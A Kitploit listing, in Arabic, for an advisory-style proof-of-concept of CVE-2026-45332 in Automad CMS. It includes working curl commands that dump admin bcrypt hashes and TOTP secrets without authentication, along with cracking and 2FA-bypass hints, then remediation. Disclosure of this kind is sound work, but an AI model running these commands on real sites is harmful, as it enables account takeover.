Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-45332-PoC — استغلال لإثبات المفهوم لثغرة CVE-2026-45332، وهي ثغرة تحكم مكسور في الوصول في نظام إدارة المحتوى Automad CMS تتيح تفريغ تجزئات bcrypt وأسرار TOTP الخاصة بالمسؤول دون مصادقة. | Kitploit
أدوات/GitHubGitHub/lorenzocamilli/cve-2026-45332-poc
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراقالمصادقةالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHublorenzocamilli/cve-2026-45332-poc

CVE-2026-45332-PoC

استغلال لإثبات المفهوم لثغرة CVE-2026-45332، وهي ثغرة تحكم مكسور في الوصول في نظام إدارة المحتوى Automad CMS تتيح تفريغ تجزئات bcrypt وأسرار TOTP الخاصة بالمسؤول دون مصادقة.

عرض المستودع
3منذ 3 أشهرلم تتم المراجعة بعد

CVE-2026-45332: كسر التحكم في الوصول في Automad CMS

إثبات مفهوم لثغرة CVE-2026-45332، وهي ثغرة كسر التحكم في الوصول في نظام Automad CMS تسمح لأي مهاجم غير مصادَق بتفريغ تجزئة كلمة المرور bcrypt وسر TOTP الخاص بكل حساب مسؤول عبر نقطة نهاية الإعداد، والتي لا يتم تعطيلها أبداً بعد التكوين الأولي.

الحقلالقيمة
CVECVE-2026-45332
GHSAGHSA-xm76-r88j-vm3g
المنتجAutomad CMS (composer automad/automad)
الإصدارات المتأثرة>= 2.0.0-alpha.1, <= 2.0.0-beta.27
الإصدار المُصحَّح2.0.0-beta.28
CVSS 3.17.5 عالية (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWECWE-200 (كشف المعلومات الحساسة), CWE-306 (غياب المصادقة لوظيفة حرجة)
الباحثLorenzo Camilli

الملخص

Automad هو نظام إدارة محتوى (CMS) مبني على PHP وقائم على الملفات. نقطة النهاية المسؤولة عن إنشاء حساب المسؤول الأول، /_api/user-collection/create-first-user، مُسجَّلة كمسار API عام بشكل دائم. لا يوجد أي حارس يغلقها بمجرد اكتمال التكوين الأولي.

على نسخة حيّة ومُهيَّأة بالكامل، يؤدي طلب POST غير مصادَق إلى هذه النقطة إلى تحميل قاعدة بيانات المستخدمين بالكامل من القرص وإرجاعها مُسلسَلة في جسم استجابة JSON، بما في ذلك:

  • تجزئات كلمات المرور bcrypt لكل حساب مسؤول
  • أسرار TOTP (موجودة في 2.0.0-beta.27)
  • المسار المطلق لنظام الملفات لدليل التكوين

لا يتطلب الأمر أي حساب سابق أو بيانات اعتماد أو موقع شبكي مميز.

السبب الجذري

المسار موضوع داخل مصفوفة $publicAPIRoutes في automad/src/server/Routes.php ويُسجَّل تحت الشرط AM_PAGE_DASHBOARD، وهو ثابت يُقيَّم إلى السلسلة '/dashboard' وبالتالي يكون صحيحاً دائماً (truthy). يبقى المسار مسجَّلاً في كل تثبيت، بما في ذلك بعد اكتمال الإعداد.

root@kitploit:~
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
    $UserCollection = new UserCollection();   // loads ALL existing users from disk
    // ...
    $php = $UserCollection->generatePHP();    // serializes every user including hashes

    return $Response->setData(array(
        'php'       => $php,                  // credential hashes returned in response
        'configDir' => dirname(UserCollection::FILE_ACCOUNTS)  // absolute path leaked
    ));
}

يتضمّن User::__serialize() الحقلين الخاصين passwordHash وtotpSecret، وبالتالي ينتهي بهما الأمر مضمَّنين في المخرجات المُسلسَلة المعادة إلى المتصل.

الشرح التقني الكامل: PoC.md.

إثبات المفهوم

تتطلب نقطة النهاية رمز CSRF صالحاً وملف تعريف ارتباط (كوكي) لجلسة Automad، وكلاهما يمكن الحصول عليهما بحرية من صفحة تسجيل الدخول العامة. إعادة الإنتاج:

root@kitploit:~
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
  | grep -oP '(?<=<meta name="csrf" content=")[^"]+')

# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
  --data-urlencode "__csrf__=$CSRF" \
  --data-urlencode 'username=dummy' \
  --data-urlencode 'password1=AnyPassword1!' \
  --data-urlencode 'password2=AnyPassword1!' \
  --data-urlencode '[email protected]' | jq .

تحتوي الاستجابة على تجزئة bcrypt وسر TOTP لكل مسؤول مسجَّل، بالإضافة إلى مسار التكوين المطلق:

root@kitploit:~
{
  "code": 200,
  "data": {
    "php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
    "filename": "accounts.php",
    "configDir": "/path/to/config"
  }
}

يمكن بعد ذلك كسر تجزئات bcrypt دون اتصال (باستخدام Hashcat / John). في الإصدار 2.0.0-beta.27، يتجاوز سر TOTP المُسرَّب المصادقة الثنائية بشكل كامل.

التأثير

يمكن للمهاجم عن بُعد وغير المصادَق:

  1. استرجاع تجزئة bcrypt لكل مسؤول وكسرها دون اتصال.
  2. استرجاع أسرار TOTP وتجاوز المصادقة الثنائية (2FA) في الإصدار 2.0.0-beta.27.
  3. معرفة المسار المطلق لنظام ملفات الخادم، مما يساعد في شن هجمات إضافية.

المعالجة

قم بالتحديث إلى Automad 2.0.0-beta.28 أو أحدث، وهو ما يقيّد نقطة النهاية بمجرد اكتمال الإعداد الأولي. وكإجراء تخفيف مؤقت، احظر الطلبات الموجهة إلى /_api/user-collection/create-first-user عند خادم الويب أو جدار حماية تطبيقات الويب (WAF).

المراجع

  • CVE.org: CVE-2026-45332
  • GitHub Advisory: GHSA-xm76-r88j-vm3g
  • Automad CMS
  • كسر التحكم في الوصول (OWASP)
تنزيل الأداة